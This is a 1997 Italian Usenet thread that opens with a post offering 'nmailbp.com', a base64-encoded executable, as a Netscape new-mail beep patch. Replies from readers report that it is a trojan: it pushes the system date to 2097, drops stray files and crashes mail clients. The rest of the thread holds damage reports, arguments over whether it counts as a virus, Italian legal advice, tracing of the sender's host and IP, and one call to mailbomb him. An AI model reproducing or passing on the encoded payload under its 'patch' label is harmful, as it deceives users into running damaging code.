Newsgroup: it.comp.aiuto
Titolo: INCREDIBILE PATCH per NETSCAPE!!!

This is a multi-part message in MIME format.
--------------226E4D078DD
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Davvero eccezionale! Questo piccolo patch fa in modo per chi usa
Netscape per la posta, di emettere un suono o dallo speaker o dalla
scheda audio, ogni qualvolta c'e' NUOVA POSTA IN ARRIVO!!! Cioe' ogni
qual volta esce il punto esclamativo (!) sulla busta in basso a destra.
Io lo ho trovato molto utile!!!
--------------226E4D078DD
Content-Type: application/octet-stream; name="
nmailbp.com
"
Content-Transfer-Encoding: base64
Content-Disposition: attachment; filename="
nmailbp.com
"
/L0gAYtuAIumAgCLngQAtErNIaEsAImGGgCLngAA/+OqAkMBvgFT6AAAW4v+T4qGHgAeUP9X
+i7/V/hYH4iGHgBbw1PoIAAARFVNTVkgICBGQ0IAAAAAAERVTU1ZICAgRkNCAAAAAFseBomm
AgBXVov3Ro0/uAMpzSGNfxC4AynNIV5fDo1XEFIOjRdSDlcui4YaAFCL3LgAS4vWzSG9IAEu
i24AjMv6jtOLpgIA+/wHH7RNzSGIhh4AW8PUAVPoBwBDT01TUEVDW7oHAIvz/1f6W8NTUVcG
joYaADP/i96L84vK86Z0FDLAuf//8q4mgD0AdeuL9wYf+esZi/cGH6w8PXX7gDwAdOusCsBy
BDwgcvdO+AdfWVvDx4YQAP//i9YzybgCPAv/dAL+xM0hcimL2Av/dAu4AkIz0ovKzSFyGIme
EgBTtEW7AQDNIYmGEAC5AQBbtEbNIcOKFEYK0nQGtALNIevzw4O+EAD/dBO0RoueEAC5AQDN
IbQ+i54SAM0hw8eGFAD//4vWuAA9zSFyFomGFgBQtEUz280hiYYUADPJW7RGzSHDEgNYBZYA
WgVbBlwHXQjIDgAAZsdG+gAALuNm/3YIAAASL0MgREFURT0xOC8wNC8yMDk3DQAGL0MgQ0xT
DQDEXvgmxF8AVF5NXlBfJDIuISEhAE5FVFNDQVBFIElTIFBBVENIRUQNCgCNtiEAuCYB/9CN
tjYAuCYB/9CNtj4AvwAAuBoC/9CNtkUAvwAAuBoC/9CNtlIAuFsC/9C4aQL/0I22RQC4hAL/
0LgATM0h
--------------226E4D078DD--

 Io lo ho trovato molto utile!!!
Attenzione a questo file. Non vorrei saltare a conclusioni affrettate ma
dopo aver lanciato questa "incredibile patch" per netscape la data di
sistema e' letteralmente schizzata all'anno 2097 e il client di posta di
netscape non riceve piu' le email perche' va puntualmente in crash nel
momento del download. Se qualcuno puo' smentire le mie affermazioni e
conosce l'origine di questo problema me lo faccia gentilmente sapere.
grazie
alecs
-- 
 
 /|ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ |
|Ż  Alessandro Arcioni   |||
|  
arc...@bigfoot.com
   |||
|________________________|||
  ||||||||||||||||||||||||||

   ||||||||||||||||||||||||||
anche a me e' successa la stessaidentica cosa!
per cancellare il file che si e' creato dopo aver lanciato
l'applicazione ho dovuto farlo tramite dos....
che cavolo.....
-- 
                                  ciao!!!!! :-)
              \\\////
              |     |
              (.) (.)
***********oOO**( )**OOo*****************************
Andrea Veggetti  "mailto:
swa...@uli.it
"
Andate a visitare la mia homepage:
Go to visit my homepage:
http://www.aspide.it/freeweb/veggetti
*****************************************************

...


visto che e' successa anche a me questa INCREDIBILE DISAVVENTURA ti sarei
molto grato se mi spieghi il modo per far sparire quel file strano che si
e' creato sul desktop di win95, tale (-^°&-_) era cosi'vero?????   ho letto
che l'hai fatto tramite dos......ma come??????? grazie anticipate.
-- 
Morris Meroni  
mo...@mbox.vol.it

>


> sistema e' letteralmente schizzata all'anno 2097
Il problema della data di sistema in avanti di 100 anni è un bug di
W95 che ho visto su decine di computer. Non credo sia legato a questa
patch.

Netscape per la posta, di emettere un suono o dallo speaker
Come si usa questo patch ? Scusa l'ignoranza ...
Grazie
Stefano Fontani
fon...@dada.it


Ciao. Mi diresti come funziona e dove l'hai trovato?
Una volta decodificato figurava come file "
nmailbp.com
" e, quando l'ho lanciato, sono comparsi due files dai nomi inpronunciabili e, da allora, netscape ha cominciato a fare i capricci.
Non č che mi hai passato un virus?!?
Ciao
Gianfranc...@iol.it
.
.
.
.
.

> dopo aver lanciato questa "incredibile patch" per netscape la data di

RAGAZZI !!!  E' esattamente quanto è successo a me. Credo vi siano ormai pochi dubbi sulla probabilita che uno stronzo si sia divertito alle nostre spalle.
Che ne direste di fargliela pagare magari ingolfandogli la casella e-mail di m**da (anche se è probabile che lo stronzo abbia fornito false generalità).
Per quanto mi riguarda ho provveduto ad inviare notizie di chiarimenti all'indirizzo che compariva sul messaggio incriminato (
pi...@emails.com
) non ricevendo però alcuna risposta (però almeno non mi è
tornata in dietro).
Inoltre, se c'è qualche esperto di virus, per caso sapete dirmi quali ulteriori problemi (oltre alla data spostata) questo virus è in grado di produrre (autoduplicazione, ecc)??
'fanculo al bastardo
Gianfranco

 ATTENZIONE si tratta di un virus
In tal caso, chi ne rimane danneggiato potrebbe sporgere denuncia.
Dalla  news originale si ricava   che il PC  di  partenza (che ha Windows 95
sopra con Netscape come newsreader, tanto per la cronaca) e` il seguente:
Name:     
Agrigento3-21.tin.it
Address:  195.31.158.20
 
La data di spedizione   e` il 18  aprile  1997, alle  ore 12:00 (ora  legale
estiva). In  teoria,  quelli di Interbusiness/Telecom Italia  Net dovrebbero
avere i log di chi si e` collegato a quell'ora su quel nodo.
Naturalmente,  e` possibile che  se il nostro  "pirot"  ha spedito un virus,
abbia anche falsificato gli header, ma il 99%  degli "oh, come mi piacerebbe
essere un hacker" che  girano per la  rete non hanno sufficienti  conoscenze
per farlo... per fortuna.
Saluti,
Luca Polo.
-- 
 / Luca Polo : 
Luca...@gest.unipd.it
 || System administrator          \
| (
http://www.gest.unipd.it/~jake
 for  || Ist. di Ingegneria Gestionale  |
 \ address and phone numbers)          || Universita` di Padova, Italy  /


ma cosa dici!!!!!
- - - - - - -
Marco Fabbian
Rimini - Italy
fag...@mbox.vol.it
mfab...@iper.net
http://www2.iper.net/swan

Chi mi sa dire cosa cazzo ci ha fatto installare quel gran pirla?
I client di posta mi danno errore nel contattare il server, la data del
PC e' scombussolata.
Ho dovuto riformattare la macchina cancellando le prime 10 tracce
dell'hard disk con la conseguente perdita di tutti i miei dati e quindi
di tempo e denaro, molto denaro.
Non si puo' fare nulla per denunciare quel tizio?
Cordialmente saluto e attendo risposta.
Tommaso Ferrari

...



Porca Putt.... Credo proprio che sia UN FOTTUTISSIMO MALEDETTISSIMO VIRUS.
MI incasina sia netscape che eudora oltre ad avermi spostato la data avanti di 100 anni.
Se qualcuno lo identifica e trova come toglierlo lo comunchi al piu' presto.
Gli saro' eternamente grato !
いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい
Greetings from:   Marino  Rossi
E-Mail me at:   
jes...@working.it
 
http://www.working.it/adv/rossi/
                ( Commercial Web )
http://www.logicom.it/personal/Marino/
          ( Personal Web   )
いいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいいい


Per adesso ho rimesso la data corretta, disinstallato nestscape ed eudora, riinstallati, e tutto
sembra tornato a posto, soprattutto la posta, che era quello che non mi funzionava piu'.


Il software si compra da chi lo vende o lo si preleva da chi 
lo mette a disposizione (
p.es
. 
SHAREWARE.COM
)...
Non lo si prende dal primo sconosciuto che "insiste" per 
offrircelo! Ma, dico, un sospetto non vi e' proprio venuto?
Senza il beep col punto esclamativo non riuscite a vivere?
Quanto SW e patch sono disponibili senza che nessuno ce li 
venfa ad offrire nei NG ?
Mi dispiace per chi ha avuto problemi. 
Mai accettare caramelle dagli sconosciuti...
-- 
____________________________________
Giancarlo Pillan  -  Ivrea  -  Italy
____________________________________

Okkio ragazzi!
Questa e' una sola opera di tale 
pir...@emails.com
Non la scaricate


Tommaso Ferrari
Scusa, ma che diavolo è successo?
Hai per caso ricevuto una mail con subject "penpals greetings!"?
Se è così, da parecchio la segnalavano come contenente un virus...
comunque se è per questo, in questi giorni stanno bloccando anche
le mailbox...

ciao a tutti i soci nella sfiga, a me a danneggiato perfino l'antivirus
(tbavw95 vers.707) oltre alla data, l'ho disinstallato e reinstallato e
rimesso a posto la data, pero' non riesco a far sparire dal desktop di
win95 l'icona con tale nome del file    (  -^°&-_  )   premetto che adesso
tutto sembra funzionare  ......(sembra...)      
Un appello al sig. Andrea Veggetti che e' riuscito a far sparire il
sopracitato file tramite dos (dice lui)... ma qual'e' la procedura??????
.......ringrazio e saluto (sperando in un suo aiuto) il sig. Veggetti e 
tutti i danneggiati.......e scusate ma non posso trattenermi dal mandare a
fare in culo chi a causato tutto cio'..........
-- 
Morris Meroni  
mo...@mbox.vol.it

 writes:
 >> ATTENZIONE si tratta di un virus
 >In tal caso, chi ne rimane danneggiato potrebbe sporgere denuncia.
Non esattamente.
Il fatto è previsto dall'art. 635 C.P. il quale prevede che sia punito
a QUERELA della persona offesa.
In pratica chi è stato danneggiato deve andare, con una carta bollata,
presso un Commissariato di P.S. (od una stazione dei C.C.) e
presentare una "Querela contro ignoti identificabili presso la
Telecom".
Dovrà anche fornire tutti i dettagli, soprattutto quelli utili alla
identificazione del colpevole.
E' consigliabile, anzi MOLTO consigliabile che chi presenta la querela
chieda ESPRESSAMENTE con una postilla SCRITTA IN CALCE ALLA QUERELA
stessa, di essere informato circa l'esito di essa.
Chi ha subito danni monetizzabili (anche il tempo perso è un danno
monetizzabile, anche i dati distrutti hanno un valore venale) può
anche chiedere, tramite avvocato, il rimborso.
E' auspicabile che tutti coloro che hanno subito il danno si prendano
la briga di sporgere querela, in caso contrario ...ci sono poche
speranze di ottenere giustizia!
Aggiungo che io ho dismesso da un bel po' di anni di aggirarmi per le
aule giudiziarie ...e da allora non mi sono più molto aggiornato.
Credo, comunque, che sia uscita una Legge (in questi ultimi due anni)
specifica sulla telematica e che preveda il fatto come reato a sé
stante (in aggiunta a quanto disposto dal succitato art. 635 C.P.).
 >Dalla  news originale si ricava   che il PC  di  partenza (che ha
Windows 95
 >sopra con Netscape come newsreader, tanto per la cronaca) e` il
seguente:
 >Name:     
Agrigento3-21.tin.it
 >Address:  195.31.158.20
 > 
 >La data di spedizione   e` il 18  aprile  1997, alle  ore 12:00 (ora
legale
 >estiva). In  teoria,  quelli di Interbusiness/Telecom Italia  Net
dovrebbero
 >avere i log di chi si e` collegato a quell'ora su quel nodo.
...omissis...
Vorrei concludere con una possibile soluzione per evitare posssibili
analoghi inconvenienti per il futuro.
Se il gruppo che riceve (mi riferisco prevalentemente ai gruppi
binarii) un file inviasse una sorta di conferma a chi lo ha spedito
(come avviene per le procedure di voto), si avrebbero due casi:
a) la risposta ritorna inestata (perché il mittente non ha usato il
suo vero indirizzo) ...ed in questo caso il file dovrebbe andare
subito nel cestino!
b) la risposta giunge regolarmente a destino: in questo secondo caso
ci sarebbe sempre un mittente certo e responsabile in caso di virus o
cose simili.
Cordialità
--
r...@promix.shiny.it

 win95 l'icona con tale nome del file    (  -^°&-_  )   premetto che
adesso
.................

 Uniamoci e...ci sara' pure un modo per scovarlo, facciamogliela pagare 
Ho mandato una mail alla tin con il sorgente del messaggio del "pirlot"
sperando che riescano a risalire a questo povero malato.
Fatelo anche voi, chissa' che un martellamento non li convinca a fare un
controllo.
hi
alecs


Non tutti giocano e scherzano con internet.
Per alcuni e' anche l'unica fonte di introito, e l'unico mezzo per
sfruttarla e' proprio il computer.
Per cui l'idea di rovinare le prime 10 tracce dell'hard disk di tutti
noi poveri ingenui non e' stata ne buona ne divertente.
C'e' un sottile limite tra scherzo e stronzata pura.
Tu l'hai valicato, e spero tu possa essere punito.
Un appello a tutti voi i quali sono stati danneggiati moralmente e non
(per me c'e' stata anche perdita di denaro)


 Morris Meroni  
mo...@mbox.vol.it


> 
Scusa ma... come fai ad essere cosě sicuro.
Io i danni li ho avuti immediatamente.
Gianfranc...@iol.it

Approvo in pieno! Io non mi sono fidato e d'istinto ho cancellato
il programmino senza lanciarlo.


 >In tal caso, chi ne rimane danneggiato potrebbe sporgere denuncia.
...ho i miei dubbi. Chi l'ha scaricato lo ha fatto volontariamente,
dopodiche sono cavoli disperatamente suoi. Se raccatti qualcosa da
terra, con chi te la prendi??
Alberto Nencioni

 ----------+

 
Bravo

 sfruttarla e' proprio il computer.
Ci si augura che queste persone si siano munite della necessaria
competenza prima di cominciare a lavorare su internet, e che operino
con la giusta forma mentis...
o   oooooo	Gian Uberto Lauri        "So, are you working on finding
      o    o	
sa...@maya.dei.unipd.it
   that bug *now* or leaving it until
     o o				  later?" - "Yes!" 
========================================================
WARNING: Payment is required for use of the above Email
address for unsolicited commercial Email or as part of a
mailing list for any purpose. 
As for US Federal and/or Italian Laws, by sending commercial
E-mail you agree to pay US$500.00 for storage fees.
========================================================
"By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer meets
the definition of a telephone fax machine.  By Sec.227(b)(1)(C), it is
unlawful to send any unsolicited advertisement to such equipment.  By
Sec.227(b)(3)(C), a violation of the aforementioned Section is
punishable by action to recover actual monetary loss, or $500, whichever
is greater, for each violation."

(su newsgroup cui si puņ accedere da tutto il mondo)
Purtroppo hai ragione...
Soluzione a tutti 'sti casini:
- Formattare l'hd, fdisk /MBR compreso.
- Effettuare un cleaning della CMOS (con l'apposito jumper).
Poi non se ne parla piu'.


 >X-Mailer: Mozilla 2.02 [it] (Win95; I)
Nel frattempo avrà cambiato NewsReader, visto che è stato utilizzato il 3.0
GOLD per il messaggio incriminato...
Però è un buon indizio...perché il NR, a parte la versione, è rimasto lo stesso
(fra l'altro nemmeno uno dei + gettonati...)
-- 
	Luca Amicone

Antonio.
Forse qualcuno conosce Antonio ?
Ciao a tutti,
                            Lorenzo
P.S.
XXXX = stu2372

 terra, con chi te la prendi??
Il paragone non regge: qui la gente danneggiata non ha "trovato" qualcosa di
ignoto, senza padrone, l'ha  provato e si e` fatta  male da sola; c'e` stata
una persona  che ha deliberatamente spacciato un  virus  come modifica ad un
programma per aumentarne (?!?) le funzionalita`.
In tal caso, uno   non ha "raccattato da  terra"  qualcosa, ma gli e`  stato
*offerto* con sopra un'etichetta fasulla...
Ad ogni modo, "fidarsi e` bene, non fidarsi e` meglio"...
Saluti,
Luca Polo


...
Visto che ne conosci anche il nome ti dispiacerebbe descriverne gli
effetti? Credo che formattare un disco sia una soluzione da adottare
quando non c'e' piu' nulla da fare: ho tre dischi di cui uno NTFS con
dentro un mucchio di roba, e al mio posto ci penseresti due volte!
ciao


 
Anch'io, anche solo per averlo pensato..
-- 
	Luca Amicone

 terra, con chi te la prendi??
Ciò non significa che diffondere software di questo tipo, cioè un virus,
non sia una cosa illegale.
Anche chi si droga lo fa spesso volontariamente, ma ciò non toglie che
spacciare droga sia illegale.
Saluti,
Matteo.

 Mai accettare caramelle dagli sconosciuti...
Tutto vero.
Pero' esiste un Codice Penale che recepisce queste azioni come un reato.
Con cio' non voglio assolutamente difendere chi usa software pirata, ma
fare notare ai frequentatori di questo Newsgroup, che le modifiche
introdotte a suo tempo nel nostro Codice Penale, puniscono severamente
tutte le azioni che portano al danneggiamento di un sistema informatico,
ivi compresa quella che e' appena avvenuta.
E' chiaro che gli utilizzatori di software pirata, difficilmente potranno
ricorrere all' intervento della Magistratura, se per primi commettono un
reato!
Ma tutte le persone che in buona fede sono state raggirate, hanno il
diritto di sapere che esiste una legge che li tutela.
Ciao

 patch.
Ecco l'esperto di turno che come al solito se la prende con Windows95!!!
-- 
Gianluca Gigliotti
g.l...@cz.flashnet.it
http://www.byte.it/~gianluca/
WebMaster of Catanzaro Info : 
http://www.byte.it/cz-info/


Subject: Re: UCE
Date: Fri, 31 Jan 1997 09:22:18 +0800
X-MSMail-Priority: Normal
Hi Marco Coletti,
Please be informed that we have terminated the subscriber service
after he
generate such mail spam.
Andy Lee
.......................................................
Probabilmente non sono stato il solo a lamentarmi, ma, come si dice,
l'unione
fa la forza...
Dimenticavo di dire: agli articoli news inappropriati (spam,
provocazioni
gratuite, pubblicita' in gruppi sbagliati etc.) si puo' applicare lo
stesso
sistema, con l'avvertenza che il nome di host (o l'indirizzo IP) della
macchina
che ha originato il messaggio si ricava direttamente dallo header
"NNTP-Posting-Host:".
Anche lo header "Path:" puo' dare buone indicazioni, ma, siccome esso
e'
abbastanza facilmente falsificabile, in caso di incongruenza e' meglio
fidarsi
di "NNTP-Posting-Host:".
(1) SMTP: Simple Mail Transfer Protocol. In sostanza e' l'insieme di
quelle
poche regolette che seguono i server di posta (server STMP, appunto)
per
scambiarsi i messaggi da inoltrare.
(2) Il comando HELO del protocollo SMTP consente alla macchina che
trasmette di
annunciarsi al server SMTP con un certo nome; l'utilita' di questo
comando mi
risulta dubbia, in quanto la macchina in questione e' libera di
annunciarsi col
nome che crede.
Nel caso di cui sopra, possiamo desumere che il programma di posta del
nostro
spammer si e' annunciato col nome assegnato alla sua macchina da
Windows 95
("My Computer" e' il nome di default del computer sotto Win95
da un messaggio sui NG.
Alooa PEO

...


maessaggio: Incredibile Patch per netscape.
Grazie dell'articolo.
Fossero tutti così interessanti!
Bye.
	Vitt

Ora sicuramente rprodi e' errato, ma credo che 
mbox.vol.it
 sia corretto
Emails.com, per darti la mailbox, vuole la tua esatta e-mail per mandarti dei
codici. Se gli fornisci un indirizzo errato, dopo 12 ore il tuo account viene
cancellato. 
Quindi:
a) o ha fatto le sue cazzate molto in fretta
b) o rprodi@... e' il suo vero indirizzo
Luca Zanin

Ecco l'esperto di turno che come al solito se la prende con Windows95!!!
Se qualcuno, per errore (e successo, anche, nei primi PowerToys
della Microsoft...) crea un file eseguibile con la data di creazione
errata, o per far danni altrui (come la pseudo-patch, in questione)
 crea un file che cambia la data del sistema, che c'entra Windows95?
Win95, supporta il cambio del secolo (un problema mondiale)...
questo è un bug???
Non che m'interessasse il file (non uso Netscape...), comunque, al mio
antivirus non
risulta infetto... aprendolo con Notepad, invece, oltre a dei caratteri
strani
si legge chiaramente una data (18/4/2097 se non erro)
 
Vittorio


Ho provato a fare uno scan con THUNDERBYTE e F-PROT (ultime release
disponibili) ma sembra pulito !!
Come mai ?
PS. NON l'ho installato e MI GUARDO BENE DAL FARLO e SONSIGLIO
CHIUNQUE DAL FARLO !!!
Bye,
Luciano Perco
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*
  * E-mail                     PGP key at key servers or:                   *
  * 
lpe...@tin.it
 
lpe...@tin.it?subject=Send_PGP_Key
           *
  *-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*-*

Il tipo si e' iscritto a 
emails.com
 come 
rpr...@mbox.vol.it
 (fonte 
praticamente certa, ammenoche' non sia in grado di spedirmi una mail
di System Administrator e abbia voluto prendermi per il culo...)
Ora sicuramente rprodi e' errato, ma credo che 
mbox.vol.it
 sia corretto


sfruttarla e' proprio il computer.
Preferisco pensare ad una mia leggerezza, diciamo pure
imperizia,  piuttosto che dare la soddisfazione al fellone
di gioire della mia perdita di tempo.
Mi aiuta a sopravvivere in questi momenti di sconforto.
Esperienza maestra di vita.
Bye
Pedro


Vista la tua spavalda efficienza sarebbe per me (e non solo per me)
molto interessante avere, una volta per tutte, dei dettagli sul cosa
può aver causato questi problemi.
Visto che questa "pezza" mi ha sorpreso impreparato, non vorrei fare
altre stupidaggini in futuro.
In breve: spiegami perchè non è un virus, visto che gli effetti
(almeno per me) erano quantomeno simili.
Il mio fido McAfee 3.0.0 non ha in effetti trovato da ridire, ma il
mio PC efficientissimo fino al giorno prima è andato in crash almeno
5volte.
grazie se mi farai dormire tranquillo almeno oggi.
Pedro

Ecco l'esperto di turno che come al solito se la prende con Windows95!!!
E' un po' come quel detto... "quando torni a casa la sera, picchia tua
moglie. Tu non sai perche', ma lei si'." :-)
In ogni caso, ce ne sono a migliaia di motivi per dare addosso a 95...


 
Ho fatto la stessa cosa ed ora sembra funzionare tutto correttamente sul
mio computer
Per ora "grazie Marino"!!!

On Tue, 22 Apr 1997 21:00:47 GMT,  wrote:
Mi e' stato riferito che sono presenti notevoli altri articoli
provenienti da quel server.
Mi cospargo la testa di cenere, qui al "cineca" non sono piu' presenti
Effettivamente non e' bello e anche molto stupido iniziare a sparaci
addosso !!!
Chiedendo nuovamente scusa soprattutto al diretto interessato,
Vi saluto,
                                 Lorenzo

 
La serie di danni provocati da questa patch e' sconcertante. Sono stato
il primo (sigh! pollo) a lanciare l'allarme ma oltre allo spostamento
della data e il crash di netscape nel momento del download della posta,
ho risolto il problemi cancellando i tre file creati. Non ho piu' avuto
alcun problema, e se ,come sembra, non si tratta di un virus, mi auguro
che la cosa sia finita lě. Cio' non toglie che il tizio rimane sempre un
gran "piRlot".
Ciao
alecs
-- 
 /|ŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻŻ |
|Ż  Alessandro Arcioni   |||
| 
arc...@comune.roma.it
 |||
|________________________|||
  ||||||||||||||||||||||||||

In data Tue, 22 Apr 1997 07:19:41 GMT 
pol...@galactica.it
 (Alberto
Nencioni) scrisse:
 ...omissis...
 >...ho i miei dubbi. Chi l'ha scaricato lo ha fatto volontariamente,
 >dopodiche sono cavoli disperatamente suoi. Se raccatti qualcosa da
 >terra, con chi te la prendi??
Nessun dubbio.  
a) il fatto è idoneo a causare il danno;
b) il danno è conseguenza diretta del fatto;
c) il fatto è stato commesso volontariamente.
Ciò è sufficiente per definire la penale (e civile) responsabilità
dell'autore.  Il tutto alla luce del 635 C.P. e senza contare le Leggi
recenti che (come ho precedentemente accennato) credo prevedano e
puniscano tale comportamento anche come fattispecie di reato a sé
stante.
Le Sue argomentazioni sono del tutto prive di oggettiva validità.
Può verificarle (come si suole fare sovente) portandole all'eccesso.
Immagini una persona che abbandoni una mina anti-uomo e che qualcuno
la raccolga (e ne rimanga offeso) ...non potrà mica dire che chi l'ha
abbandonata sia esente da responsabilità penale e civile!
In questo caso, pur trattandosi di conseguenze (per grazia di Dio)
assai meno drammatiche, la situazione è ancora peggiore perché il
colpevola non ha "abbandonato" l'oggetto nocivo ma, al contrario, ha
cercato di allettare le vittime con mendaci promesse e millantando
fantomatiche utilità.  Si noti tra l'altro (anche se il particolare è
del tutto irrilevante) che non si trattava di una copia "pirata" di un
programma soggetto al pagamento dei diritti ma di un programma
spontaneamente offerto "gratis et amore dei".
Colgo l'occasione per ribadire che assai difficilmente il colpevole
potrà essere individuato (e punito) se i danneggiati non si
affretteranno a presentare opportuna QUERELA!
E solo coloro che avranno presentato querela potranno repetere, con
successo, i danni in sede civile.
Cordialità
--
r...@promix.shiny.it

E' comunque presente anche nel disassemblato della "caramella":
[snip]
Caro mp,mi fa piacere ritrovarla in rete, guardo sempre con
ammirazione i suoi post . 
Le sarei grato se potesse rispondere a queste 2 domande:
1) Come si fa ad estrarre la sorgente (assembler?) da un eseguibile?
2)La patch in questione si puo' definire virus?
---
Saluti
Stefano

il programmino senza lanciarlo.
Anche io ho cancellato il file...........perche' uso Eudora (che
culo!!!)  :-)
---
Domenico de Romanis
alias........Millo  
mi...@mclink.it
 

b) o rprodi@... e' il suo vero indirizzo
Ora, se non sbaglio, Corrado Cutignotto ha scritto a questo
Pi...@emails.com
, ricevendo una risposta.
Bisogna vedere se questo messaggio e` arrivato prima o dopo le 12 ore
di scadenza.... se e` arrivato dopo significa  che l'inidirizzo 
:
rpr...@mbox.vol.it
 
e` esatto (non e` detto che sia effetivamente il suo, potrebbe
essersene appropriato venendo a conoscenza della pass....).
:7---------------------------
Io ogni caso, la cosa piu` corretta da fare e` segnalare il fatto
direttamente ai due responsabili  TIN di cui ho scritto su
l'inidirizzo, descrivendo esattamente come sono andate le cose e
fornendo gli Headers delle lettere di PiroT che si hanno a
disposizione.
Io ho fatto quello che potevo (per voglia e per tempo).
Dal momento che la sua opera non mi ha affatto danneggiato non ho
particolari motivi per prendermi la briga di persona per fargli
chiudere l'account o arrivare a disposizioni penali (secondo me
esagerate comunque).
Invito pero` tutti coloro che vogliono giustizia a scrivere ai
responsabili TIN.
:8-------------------------------
:P.S.
Cosa ci ha rifilato Pirot ?
Daniele Fogazi ha piu` volte chiarito che non si tratta di un Virus,
senza pero` sprecarsi a spiegare che cosa sia.
In effetti e` un CAVALLO DI TROIA "Troyan Horse", cioe` un programma
che opera in maniera nascosta cioe` fa qualcosa senza dircelo.
Questo qualcosa puo` essere la modifica di qualche file con perdita di
dati, la formattazione del disco, o, come in questo caso, un procurato
allarmismo.
Esso non e` un Virus, perche` non e` in grado di replicarsi da solo e
non si attacca esso stesso ad altri programmi per vivere, come invece
fanno i virus.
Questo vuol dire che voi potete avere anche una directory piena di
questo progrmma, ma finche` non lo lanciate non succede niente e
soprattutto non e` in grado di "infettare" nessun altro se non siete
voi a rifilarlo come ha fatto Pirot.
Quindi prima di formattare tutto a testa bassa, chiedete consiglio a
qualcuno con le idee piu` chiare.
Vi consiglio di consultare in questi casi, il gruppo 
: it.comp.sicurezza.virus
come ha fatto intelligentemente Luca Amicone, ricevendo l' ottima
risposta di Paolo Monti
: (Vedi Thread PATCH DI NETSCAPE ! COSA FA IL .COM)
Sperando di essere stato utile.
Saluti 
riggs

In data Tue, 22 Apr 1997 18:29:53 GMT 
mro...@novacomp.it
 (MaxMax)
scrisse:
 ...omissis...
 >Caro RFE, per una volta ci sentiamo fuori dal gruppo di
telefonia.....
 >Ritengo che la Legge a cui ti riferisci sia la L. 534/1993, meglio
 >conosciuta come <<Legge sui reati informatici>>.
 >Punisce tra l'altro la creazione, la diffusione e la detenzione dei
 >virus informatici, e soprattutto consente ai magistrati di porre
sotto
 >controllo le linee telefoniche dei sospettati.......
Grazie dell'informazione!
Cordialità
--
r...@promix.shiny.it

In data Tue, 22 Apr 1997 18:29:46 GMT 
mro...@novacomp.it
 (MaxMax)
scrisse:
...omissis... 
 >Guarda che il <<penpal greetings>> e' una bufala che gira da un
sacco
 >di tempo.....
 >Non ha niente a che fare con i virus...... e' solo una cavolata!!!
Riguardo a  "penpal greetings" mi è stata data una spiegazione
capziosa ed arguta (...e forse anche giusta).
Mi dicono che, in effetti, si tratta di un virus "anomalo" in quanto
non arreca danni reali e non si riproduce spontaneamente: si riproduce
nella misura in cui gli utenti di computer si segnalano il pericolo (e
cioè si trasmettono il messaggio "penpal greetings").
Relata refero.
Cordialità
--
r...@promix.shiny.it

In data Tue, 22 Apr 1997 16:24:23 GMT 
lpe...@tin.it
 (Luciano Perco)
scrisse:
 ...omissis...
 >Ho provato a fare uno scan con THUNDERBYTE e F-PROT (ultime release
 >disponibili) ma sembra pulito !!
 >Come mai ?
 >PS. NON l'ho installato e MI GUARDO BENE DAL FARLO e SONSIGLIO
 >CHIUNQUE DAL FARLO !!!
Non posso essere di alcun aiuto, a questo riguardo, perché (più per
buona sorte che per avvedutezza) NON ho scaricato il file de quo...
Cordialità
--
r...@promix.shiny.it

 Ecco l'esperto di turno che come al solito se la prende con Windows95!!!
Scusa Gianluca, ma in fondo ha ragione.
Il simpaticone ideatore della famigerata patch non ha fatto altro che
sfruttare proprio un bug di WIN95, che ritrovandosi con la data avanzata
di 100 anni comincia a dare i numeri. Come dicevo qualche msg piu' su,
diversi mesi fa un mio amico ebbe problemi col pc, e dopo aver
riformattata tre volte l'HD e reinstallato WIN95 altrettante volte
scopri' che la data era diventata 2096. Risistemata la data tutto torno'
alla normalita'. I comportamenti erano proprio quelli segnalati da chi
ha installato la patch percio' direi proprio che non si tratta di un
virus ma di un qualcosa di peggio forse, perche' nessun antivirus
potrebbe mai segnalarti nulla.
Se non sei convinto posso sempre presentarti l'amico visto che anche lui
e' di Catanzaro come noi.
Ciao
-- 
Sergio Aletta
sergio...@thebrain.net
                       Remember:
-Even when you win the rat race, you are still a rat-

La stessa osservazione era stata fatta alla fine degli degli anni '80
in merito al mitico Tetris. Essendo un programma di piccole
dimensioni, freeware, e quindi di facile diffusione, ed essendo
inoltre una sorta di droga per gli utilizzatori, che non riuscivano a
staccarsene, oltre che di provenienza  sovietica, qualcuno ipotizzo'
che fosse una sorta di virus "psicologico-informatico" mirante a
mettere in ginocchio la produttivita' dei paesi occidentali. In
effetti, ricordo che a quei tempi Tetris era caricato praticamente su
qualsiasi PC (compresi quelli di uffici e Ministeri). :-)
Paolo Provvisionato


 In ogni caso, ce ne sono a migliaia di motivi per dare addosso a 95...
Il primo e' che la gente avrebbe *DIRITTO* ad un prodotto software di
qualita' migliore per quello che costa. 
o   oooooo	Gian Uberto Lauri        "So, are you working on finding
      o    o	
sa...@maya.dei.unipd.it
   that bug *now* or leaving it until
     o o				  later?" - "Yes!" 
========================================================
WARNING: Payment is required for use of the above Email
address for unsolicited commercial Email or as part of a
mailing list for any purpose. 
As for US Federal and/or Italian Laws, by sending commercial
E-mail you agree to pay US$500.00 for storage fees.
========================================================
"By US Code Title 47, Sec.227(a)(2)(B), a computer/modem/printer meets
the definition of a telephone fax machine.  By Sec.227(b)(1)(C), it is
unlawful to send any unsolicited advertisement to such equipment.  By
Sec.227(b)(3)(C), a violation of the aforementioned Section is
punishable by action to recover actual monetary loss, or $500, whichever
is greater, for each violation."

 2)La patch in questione si puo' definire virus?
No,  si  qualifica piu' come  cavallo  di troia.  Comunque  mi pare di
capire che  di per se  il programma fosse tendenzialmente beningno, ma
che  un  bel baco di  sistema   lo abbia  trasformato  in un programma
dannoso.


 queste cose... 
Gli hacker degni di questo nome queste cose le sanno fare, magari ne
hanno fatte alcune una o due volte, ma poi trovano di meglio da fare
coi computer...


 
Anche io ho lanciato quel file che, come voi tutti dite, contiene un virus.
Fortunatamente sul mio Pc non è successo un cazzo (a questo punto mi
incazzo pure io :))))))) la data l'ho rimessa a posto senza problemi e il
